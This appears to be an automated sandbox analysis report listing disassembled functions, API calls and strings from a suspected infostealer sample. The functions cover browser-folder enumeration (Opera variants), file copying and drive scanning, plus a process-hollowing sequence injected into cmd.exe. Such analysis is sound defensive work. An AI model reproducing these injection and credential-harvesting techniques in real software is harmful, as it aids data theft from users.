Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 27735559bfb48da9287d526a8cd59a7ae3fc043cea796b4c773b8c6c6164f3d1
Instruction ID: 64275d2e5cf7c8d224275fc1dacaaae6d6bbd306d4b58079a7bad6c2dccd003f
Opcode Fuzzy Hash: 27735559bfb48da9287d526a8cd59a7ae3fc043cea796b4c773b8c6c6164f3d1
Instruction Fuzzy Hash: B281137290022D9BCF62FB64EC45ADD7BB8FB18304F0585E6E549A3111DF35AA898F90

Function 00195B4D Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 179filestringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00195B72
HeapAlloc.KERNEL32(00000000), ref: 00195B79
wsprintfA.USER32 ref: 00195B92
FindFirstFileA.KERNEL32(?,?), ref: 00195BA9
StrCmpCA.SHLWAPI(?,001B6AA0), ref: 00195BCA
StrCmpCA.SHLWAPI(?,001B6AA4), ref: 00195BE4
CopyFileA.KERNEL32(?,?,00000001), ref: 00195CC8

Part of subcall function 0019584D: _memset.LIBCMT ref: 00195885
Part of subcall function 0019584D: _memset.LIBCMT ref: 00195896
Part of subcall function 0019584D: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 001958C1
Part of subcall function 0019584D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 001958DF
Part of subcall function 0019584D: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 001958F3
Part of subcall function 0019584D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00195906
Part of subcall function 0019584D: StrStrA.SHLWAPI(00000000), ref: 001959AA

DeleteFileA.KERNEL32(?), ref: 00195CEB
wsprintfA.USER32 ref: 00195C0B

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

FindNextFileA.KERNEL32(?,?), ref: 00195D1A
FindClose.KERNEL32(?), ref: 00195D2E
lstrcatA.KERNEL32(?), ref: 00195D5C
lstrcatA.KERNEL32(?), ref: 00195D6F
lstrlenA.KERNEL32(?), ref: 00195D7B
lstrlenA.KERNEL32(?), ref: 00195D98

Strings

%s\%s, xrefs: 00195C05
%s\*, xrefs: 00195B8C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$Findlstrlen$Heap_memsetwsprintf$AllocCloseCopyDeleteFirstNextProcessSystemTime
String ID: %s\%s$%s\*
API String ID: 2636950706-2848263008
Opcode ID: 7b93b915f506e5e8db5197b8e6ac540971ff82042fa478118d8cb70e9753c1c3
Instruction ID: eef1073b2e1d1b3556a9e5781e25f01a1753bfa736cfb164944db1ac8dec6378
Opcode Fuzzy Hash: 7b93b915f506e5e8db5197b8e6ac540971ff82042fa478118d8cb70e9753c1c3
Instruction Fuzzy Hash: 28713AB19002289BDF22FB60EC49ADD7BBDAF19300F0004E6E609A7151EB71AF85CF55

Function 0018F51F Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0018F551
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,001B65A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0018F575
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0018F587
GetThreadContext.KERNEL32(?,00000000), ref: 0018F599
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0018F5B7
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0018F5CD
ResumeThread.KERNEL32(?), ref: 0018F5DD
WriteProcessMemory.KERNEL32(?,00000000,00192DA1,?,00000000), ref: 0018F5FC
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0018F632
WriteProcessMemory.KERNEL32(?,?,D6D9E8F4,00000004,00000000), ref: 0018F659
SetThreadContext.KERNEL32(?,00000000), ref: 0018F66B
ResumeThread.KERNEL32(?), ref: 0018F674

Strings

(, xrefs: 0018F63B
C:\Windows\System32\cmd.exe, xrefs: 0018F570

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: ($C:\Windows\System32\cmd.exe
API String ID: 3621800378-4087486346
Opcode ID: faeb5a2e586254a92e481e6227a77d26aa02b9ee0358619ee71f877bd898ecaf
Instruction ID: 8b919b3719b59faf734853dca6eea49ede0afbeebc51726baa01c7f34f0dc92c
Opcode Fuzzy Hash: faeb5a2e586254a92e481e6227a77d26aa02b9ee0358619ee71f877bd898ecaf
Instruction Fuzzy Hash: 38413972A00208AFDB11AFA4DC85FEEBBB9FF48745F104069FA05E6161D771AE50CB20

Function 00181D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

FindFirstFileA.KERNEL32(?,?,001BA9AC,001BA9B0,001B69F3,001B69F2,0019794A,?,00000000), ref: 00181FA4
StrCmpCA.SHLWAPI(?,001BA9B4), ref: 00181FD7
StrCmpCA.SHLWAPI(?,001BA9B8), ref: 00181FF1
FindFirstFileA.KERNEL32(?,?,001BA9BC,001BA9C0,?,001BA9C4,001B69F6), ref: 001820DD
CopyFileA.KERNEL32(?,?,00000001), ref: 001822C3

Part of subcall function 00191D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00191DD2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

DeleteFileA.KERNEL32(?), ref: 00182336
FindNextFileA.KERNEL32(?,?), ref: 001823A2
FindClose.KERNEL32(?), ref: 001823B6
CopyFileA.KERNEL32(?,?,00000001), ref: 001825DC

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

DeleteFileA.KERNEL32(?), ref: 0018264F

Part of subcall function 00196ED9: Sleep.KERNEL32(000003E8,?,?), ref: 00196F40

FindNextFileA.KERNEL32(?,?), ref: 001826C6
FindClose.KERNEL32(?), ref: 001826DA

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00191D67: GetFileAttributesA.KERNEL32(?,?,?,0018DA54,?,?,?), ref: 00191D6E

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Strings

\*.*, xrefs: 00181E9E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: dceaaee27b27e60a821e464a2656be3bcc57a4a391a4be84d68cf6ce73012461
Instruction ID: 9ba41316e8d99338b4e8d5efda3c57e324d62feace6e43f84f12b11b4d2888a3
Opcode Fuzzy Hash: dceaaee27b27e60a821e464a2656be3bcc57a4a391a4be84d68cf6ce73012461
Instruction Fuzzy Hash: FC3280319011299BDF22FB24DC46ACDB7B8AF25304F5241E1E558B7162DB70AF8A8F81

Function 0019547D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001954AA
FindFirstFileA.KERNEL32(?,?), ref: 001954C1
StrCmpCA.SHLWAPI(?,001B6A88), ref: 001954E2
StrCmpCA.SHLWAPI(?,001B6A8C), ref: 001954FC
lstrcatA.KERNEL32(?), ref: 0019554D
lstrcatA.KERNEL32(?), ref: 00195560
lstrcatA.KERNEL32(?,?), ref: 00195574
lstrcatA.KERNEL32(?,?), ref: 00195587
lstrcatA.KERNEL32(?,001B6A90), ref: 00195599
lstrcatA.KERNEL32(?,?), ref: 001955AD

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

FindNextFileA.KERNEL32(?,?), ref: 00195663
FindClose.KERNEL32(?), ref: 00195677

Strings

%s\%s, xrefs: 0019549E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 07dc9aeaad20651ce0251c6d5d2fd4e83a3390b811fcfc3b5f5e0647ee3c43b8
Instruction ID: 17e4d8543c78f71e41124d5fc38fdd3b65d96da76d61693ff0d8d28101fcfcea
Opcode Fuzzy Hash: 07dc9aeaad20651ce0251c6d5d2fd4e83a3390b811fcfc3b5f5e0647ee3c43b8
Instruction Fuzzy Hash: 3D5130B594021C9BCF61EF74DC89AD9BBBCAB08300F4045E6E609E3250EB319B85CF65

Function 0018BF22 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

FindFirstFileA.KERNEL32(?,?,\*.*,001B682E,0018CC40,?,?), ref: 0018BF9A
StrCmpCA.SHLWAPI(?,001B7468), ref: 0018BFBA
StrCmpCA.SHLWAPI(?,001B746C), ref: 0018BFD4
StrCmpCA.SHLWAPI(?,Opera,001B683B,001B683A,001B6837,001B6836,001B6833,001B6832,001B682F), ref: 0018C060
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0018C06E
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0018C07C

Strings

Opera GX, xrefs: 0018C066
Opera Crypto, xrefs: 0018C074
Opera, xrefs: 0018C058
\*.*, xrefs: 0018BF48

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 69501c8571a41c148d1f26db5a36afe530db03e00b5fc0b2bb3d15fb934c3a72
Instruction ID: 5adeaa244263a3b3a9b2c3a2896c2bee3a665056b70edb613d787b1fcab5ee1d
Opcode Fuzzy Hash: 69501c8571a41c148d1f26db5a36afe530db03e00b5fc0b2bb3d15fb934c3a72
Instruction Fuzzy Hash: C602B331D001299BDF62FB24DD46ADDB7B4AF69304F4141E1E918B7162DB74AF8A8F80

Function 00195182 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00195202
_memset.LIBCMT ref: 00195225
GetDriveTypeA.KERNEL32(?), ref: 0019522E
lstrcpyA.KERNEL32(?,?), ref: 0019524E
lstrcpyA.KERNEL32(?,?), ref: 00195269

Part of subcall function 00194D08: wsprintfA.USER32 ref: 00194D5C
Part of subcall function 00194D08: FindFirstFileA.KERNEL32(?,?), ref: 00194D73
Part of subcall function 00194D08: _memset.LIBCMT ref: 00194D8F
Part of subcall function 00194D08: _memset.LIBCMT ref: 00194DA0
Part of subcall function 00194D08: StrCmpCA.SHLWAPI(?,001B6A00), ref: 00194DC1
Part of subcall function 00194D08: StrCmpCA.SHLWAPI(?,001B6A04), ref: 00194DDB
Part of subcall function 00194D08: wsprintfA.USER32 ref: 00194E02
Part of subcall function 00194D08: StrCmpCA.SHLWAPI(?,001B660F), ref: 00194E16
Part of subcall function 00194D08: wsprintfA.USER32 ref: 00194E3F
Part of subcall function 00194D08: _memset.LIBCMT ref: 00194E68
Part of subcall function 00194D08: lstrcatA.KERNEL32(?,?), ref: 00194E7D

lstrcpyA.KERNEL32(?,00000000), ref: 0019528A
lstrlenA.KERNEL32(?), ref: 00195304

Strings

%DRIVE_REMOVABLE%, xrefs: 00195255
%DRIVE_FIXED%, xrefs: 00195270
*%DRIVE_FIXED%*, xrefs: 0019519E
*%DRIVE_REMOVABLE%*, xrefs: 001951CF

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

